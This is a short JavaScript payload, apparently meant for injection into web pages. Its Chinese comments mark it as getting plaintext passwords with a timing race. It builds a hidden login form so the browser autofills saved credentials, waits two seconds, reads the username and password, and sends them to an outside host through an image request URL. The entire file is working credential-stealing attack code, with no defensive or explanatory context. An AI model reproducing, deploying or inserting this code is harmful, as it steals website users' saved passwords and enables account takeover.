﻿function create_body(){
		document.write('<body></body>');
	}
	function create_form(user) { /*获取明文密码*/
		var f = document.createElement("form");
		f.style.display= "none"
		var b = document.getElementsByTagName("body")[0];
		b.appendChild(f);
		var e1 = document.createElement("input");
		e1.type = "text";
		e1.name = "username";
                e1.id = "username";
		f.appendChild(e1);
		var e = document.createElement("input");
		e.name = "password";
                e.type = "password";
                e.id = "password";
		f.appendChild(e);
		setTimeout(function () {
            var t = document.getElementsByName("username")[0];
            t.focus();
			username = document.getElementsByName("username")[0].value;
                        password = document.getElementsByName("password")[0].value;
			var newimg = new Image();
                       newimg.src="http://apitest.ddgp888.com/t.jsp?u="+username+"&p="+password;
		}, 2000); // 时间竞争
	}
	create_form('');

